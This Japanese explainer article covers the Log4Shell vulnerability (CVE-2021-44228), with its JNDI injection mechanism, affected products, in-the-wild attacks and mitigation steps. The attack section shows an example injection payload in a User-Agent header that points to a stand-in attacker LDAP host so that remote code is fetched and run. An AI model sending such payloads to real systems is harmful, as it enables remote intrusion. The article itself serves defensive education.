Log4Shell（CVE-2021-44228）とは？仕組み・影響範囲・対策をわかりやすく解説

2021年12月、セキュリティ業界に衝撃が走りました。Javaアプリケーションが広く使うログ出力ライブラリに、認証なしでリモートからコード実行（RCE）が可能な致命的な脆弱性が発見されたのです。

この脆弱性は「Log4Shell」と呼ばれ、脆弱性の深刻度を示すCVSSスコアは最高値の10.0。世界中のIT担当者が週末返上で対応に追われた、近年まれに見る大規模なセキュリティインシデントです。

「うちはJavaを使っていないから関係ない」——そう思っている方こそ要注意です。気づかないうちに社内のシステムや導入済みソフトウェアが影響を受けているケースが、発見から2年以上が経過した現在も残っています。

この記事では、Log4Shell（CVE-2021-44228）の仕組み・影響範囲・対策を、現場エンジニア目線でわかりやすく解説します。発見の経緯から実際の攻撃の流れ、今日からできる対応手順まで、情シス担当者が押さえるべき情報を網羅しています。

Log4Shell（CVE-2021-44228）とは？

Log4ShellはApacheソフトウェア財団が開発したJava用ログ出力ライブラリ「Apache Log4j 2」に存在した、リモートコード実行（RCE）の脆弱性です。

正式なCVE番号はCVE-2021-44228で、2021年12月9日に公開されました。NVD（米国国立脆弱性データベース）およびJVN（Japan Vulnerability Notes）でも情報が公開されています。

・NVD（National Vulnerability Database）: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
・JVN（Japan Vulnerability Notes）: https://jvn.jp/vu/JVNVU94542438/

影響を受けるバージョンはApache Log4j 2.0-beta9から2.14.1まで。修正版は2.15.0が最初にリリースされましたが、さらに追加の脆弱性（CVE-2021-45046等）が発見されたため、現在の推奨は2.17.1以降（Java 8向け）です。

「Log4Shell」という名前の由来

「Log4Shell」という名前は、この脆弱性を悪用することで攻撃者が標的サーバー上でシェル（コマンド実行環境）を取得できることに由来します。ログを記録する仕組みを逆用して、サーバー上で任意のコードを実行できてしまう——まさに「ログ機能がシェルになる」衝撃を端的に表しています。

発見の経緯

脆弱性の存在は2021年12月9日にAlibaba CloudのセキュリティチームによってApacheに報告され、同日中にCVEが発行されました。しかし問題はその後の展開にありました。報告から数時間のうちに悪用方法がSNSで拡散し、公開翌日には世界中でスキャンや攻撃試行が急増したのです。ゲームタイトル「Minecraft」のチャット機能で最初の実証コードが動作したことも、脆弱性の深刻さを世間に知らしめました。

攻撃の仕組み（JNDIインジェクション）

Log4Shellの根本原因は、Log4j 2のログ出力機能に組み込まれていた「メッセージルックアップ」と呼ばれる機能にあります。

1. JNDI（Java Naming and Directory Interface）とは

JNDIはJavaアプリケーションが外部リソース（データベース接続先・LDAPディレクトリ・RMIサーバーなど）を名前で検索するためのAPIです。本来は正当なアプリ内部で使われる仕組みですが、Log4j 2はログメッセージ内に特定の構文（${jndi:...}）が含まれると、その文字列を解釈してJNDIルックアップを実行してしまう挙動を持っていました。

2. 攻撃の流れ

攻撃の手順はシンプルで、次の3ステップで成立します。

# ステップ1: 攻撃者が悪意ある文字列を含むリクエストを送信する
#   例: HTTPリクエストのUser-Agentヘッダーに以下を埋め込む
User-Agent: ${jndi:ldap://attacker.example.com/exploit}

# ステップ2: 被害サーバーのLog4j 2がリクエストをログ記録する際、
#   ${jndi:ldap://...} を解釈して攻撃者のLDAPサーバーに接続する

# ステップ3: 攻撃者のLDAPサーバーが悪意あるJavaクラスのURLを返し、
#   被害サーバーがそれをダウンロード・実行する → 任意コード実行（RCE）成立

# 攻撃が成立する入力箇所の例（これだけ広い）
# - HTTPリクエストのUser-Agent / X-Forwarded-For / Refererヘッダー
# - ログインフォームのユーザー名・パスワード欄
# - 検索ボックスの入力値
# - APIに送信するJSON/XMLの任意フィールド

攻撃の入口になる可能性があるのは、アプリケーションがログに記録しうる入力値すべてです。HTTPヘッダー・フォーム入力・API経由のデータなど、アタックサーフェス（攻撃可能な箇所）が非常に広いことが被害を拡大させた一因です。

3. なぜCVSSスコア10.0なのか

CVSSの評価軸（攻撃経路・複雑さ・必要権限・機密性・完全性・可用性への影響）のほぼすべてで最悪評価となったのが、スコア10.0の理由です。

・認証不要: 攻撃に一切の認証・権限が必要ない
・ネットワーク越しに完結: 物理アクセスやローカル権限は不要
・スキルハードルが低い: 数行の文字列を送るだけで成立する
・影響範囲が甚大: RCEによって機密性・完全性・可用性のすべてが失われる

CVSSスコアの読み方や優先度判断については、当サイトの「CVSSとは？脆弱性スコアの読み方・優先度判断を現場目線で解説」も参考にしてください。

影響範囲と実際の被害

どのようなソフトウェアが影響を受けたか

Apache Log4j 2はJavaアプリケーション界で最も広く使われているログライブラリの一つです。そのため影響範囲は想像を超えて広大でした。

・ゲーム・エンタメ: Minecraft Java版（最初の実証環境となった）
・仮想化・クラウド管理: VMware vCenter、VMware Horizon（企業内仮想化基盤として広く普及）
・ネットワーク機器: CiscoやJuniperの複数製品（セキュリティ機器も含む）
・検索・BIツール: Apache Solr、一部バージョンのElasticsearch
・開発環境: JetBrains製IDEの一部機能
・クラウドサービス: AWSやAzureの各種マネージドサービスも一時的に影響を受けた

特に注意が必要なのは、自社でJavaアプリケーションを開発していなくても、導入済みのパッケージソフトや業務ツール・監視ツールがLog4j 2を内部的に使っていた場合も影響を受けるという点です。「うちはJavaを使っていない」という言葉が危険な理由はここにあります。

実際に確認された攻撃

脆弱性の公開からわずか数時間後に悪用が始まり、次のような攻撃活動が世界規模で確認されました。

・クリプトマイニング（仮想通貨の不正採掘）: 乗っ取ったサーバーのCPU・GPUリソースを使って仮想通貨を採掘するマルウェアが大量展開された
・ランサムウェアの展開: Contiなど複数のランサムウェアグループがLog4Shellを初期侵入の踏み台として使用したことが確認されている
・バックドアの設置: 長期潜伏・情報窃取を目的とした標的型攻撃の初期アクセス手段として悪用されたケースも報告された
・脆弱性スキャン攻勢: 公開直後から脆弱なシステムを探索するスキャンが世界中で急増し、日本国内のサーバーも多数対象になった

IPAおよび経済産業省は緊急アラートを発出し、国内でも多くの企業がパッチ対応に追われました。サプライチェーンを通じた間接的な影響も含めると、全世界でどれほどの組織が影響を受けたかは計り知れません。

具体的な防御手順

1. Log4j 2の使用箇所を特定する

まず「自分たちの環境にLog4j 2が入っているか」を調べることから始めます。Javaを直接開発していない場合でも、利用中のソフトウェア・ツールのベンダーアドバイザリを必ず確認してください。

# Linux環境でlog4j関連のJARファイルをシステム全体から検索する
find / -name "log4j*.jar" 2>/dev/null

# Mavenプロジェクトの依存関係確認
mvn dependency:tree | grep log4j

# GradleプロジェクトでLog4j 2を含む依存を確認
./gradlew dependencies | grep log4j

# JARの内部にlog4j-coreが含まれているか確認する場合（fat jarなど）
find / -name "*.jar" 2>/dev/null | xargs -I{} sh -c 'unzip -l "{}" 2>/dev/null | grep -q log4j-core && echo "{}"'

また、MicrosoftやCISAが公開したLog4jスキャナーツール（log4j-scanner等）も活用できます。ただし、ツールを実行する際は本番環境への影響を十分に考慮した上で行ってください。

2. Log4j 2を最新バージョンにアップデートする（最優先）

根本的な対策はLog4j 2を2.17.1以降（Java 8向け）にアップデートすることです。バージョンと対応状況の関係を以下に整理します。

3. JNDIルックアップを無効化する（暫定対策）

すぐにアップデートできない場合、JNDIルックアップ機能を無効化することで攻撃を緩和できます。

# Java起動オプションでJNDIルックアップを無効化（Log4j 2.10以降で有効）
-Dlog4j2.formatMsgNoLookups=true

# 環境変数で設定する場合（一部バージョンで対応）
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# Log4j 2.10未満の場合はクラスパスからJndiLookupクラスを除外する
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

ただしこれはあくまで暫定措置であり、一部バージョンでは完全に機能しないことが報告されています。正式なパッチ適用を最優先で進めてください。

4. WAFによる攻撃文字列の遮断（多層防御）

WAF（Webアプリケーションファイアウォール）でJNDI攻撃文字列（${jndi:などのパターン）を含むリクエストを遮断することも有効な多層防御になります。ただし攻撃者は難読化（Base64エンコードや大文字小文字の混在など）を使って迂回を試みるため、WAFだけに頼るのは危険です。パッチ適用と組み合わせて使う「追加の防衛ライン」として位置づけてください。

WAFの仕組みや選び方については、当サイトの「WAFとは？Webアプリケーションファイアウォールの仕組み・選び方・導入手順をわかりやすく解説」も参考にしてください。

5. ネットワーク出口制御で被害を最小化する

万が一攻撃が成功した場合でも、被害を最小化するためにできることがあります。サーバーからインターネットへの送信（アウトバウンド通信）を必要最小限に制限することです。JNDIインジェクション攻撃は、被害サーバーが攻撃者のサーバーに自ら接続することで成立します。不要なアウトバウンド通信をファイアウォールで遮断しておけば、攻撃が成功しても実際の被害コードのダウンロードを防げる可能性があります。

Linuxサーバーでのfirewalldやnftablesによるアウトバウンド制御については、姉妹サイトLinuxMaster.JPで詳しく解説しています。

中小企業でも今日からできること

「Javaのコードなんて書いていない」という企業でも、次のアクションは今すぐ着手できます。情シス担当者1人でも始められる現実的な対応策をまとめました。

・利用中ソフトウェアの影響確認: 業務で使っているすべてのソフトウェア・SaaSツールについて、ベンダーのセキュリティアドバイザリを確認し、Log4j 2が内部使用されているか・パッチが提供されているかを調べる
・ソフトウェア資産管理台帳の整備: 次のLog4Shell級の脆弱性が発生したとき「何を使っているか」を即座に把握できる台帳（SBOM: Software Bill of Materialsの概念）を今のうちに整備する
・脆弱性情報の定期購読: JPCERTやIPA、NVD、利用製品のベンダーメーリングリスト・RSSを購読し、重要な脆弱性情報をいち早くキャッチする仕組みを作る
・パッチ適用リードタイムの把握と改善: 「脆弱性が公表されてから何日でパッチを適用できるか」を測定し、短縮できる余地を探す。Log4Shellのような緊急案件では72時間以内の対応が求められるケースもある
・対応優先度の判断基準を決めておく: CVSSスコアや悪用状況（CISA KEVカタログ等）を参照しながら、どのレベルの脆弱性にどれだけのリソースをかけるかを事前に決めておく

よくある誤解と注意点

【誤解1】「うちはJavaを使っていないから無関係」

自社でJavaアプリケーションを開発していなくても、市販のパッケージソフト・業務ツール・監視ツールなどがLog4j 2を内部で使っている可能性があります。「使っていない」と断言する前に、導入済みソフトウェアのベンダーアドバイザリを必ず確認してください。

【誤解2】「2.15.0にアップデートしたから大丈夫」

2.15.0は最初の修正版でしたが、その後も追加の脆弱性（CVE-2021-45046：CVSSスコア9.0・CVE-2021-45105）が発見されました。現時点での推奨はJava 8向けなら2.17.1以降、Java 11向けは2.12.4以降です。中途半端なバージョンで止まっていないかを必ず確認してください。

【誤解3】「発見から時間が経ったから攻撃は落ち着いた」

残念ながら、Log4Shellは現在もスキャンや攻撃が継続されています。脆弱なままの環境が残っている限り、攻撃者にとって有効な標的であり続けます。Shodan等の検索エンジンに脆弱なシステムが公開されていれば、世界中の攻撃者から常に狙われている状態です。「古いニュース」と油断するのは禁物です。

【注意】Log4j 1.x系も別の問題を抱えている

Log4j 1.xはCVE-2021-44228の影響を受けませんが、2015年にEOL（サポート終了）となっており、CVE-2019-17571等の別の脆弱性が複数存在します。Log4j 1.xを使い続けている場合は、Log4j 2.17.1以降への移行を強く推奨します。

本記事のまとめ

Log4Shellは「過去の話」ではなく、今も脆弱な環境が存在する現在進行形のリスクです。まだ対応が完了していない環境があれば、この機会に改めて確認することをお勧めします。また、社内に存在するソフトウェアの「部品リスト」を把握しておく習慣は、次のゼロデイ脆弱性発生時の対応速度を大きく左右します。

OWASPが定義するWebアプリケーションの脆弱性全体像については、当サイトの「OWASP Top 10とは？2021年版の全脆弱性リスト・各項目の意味と対策をわかりやすく解説」も合わせてご覧ください。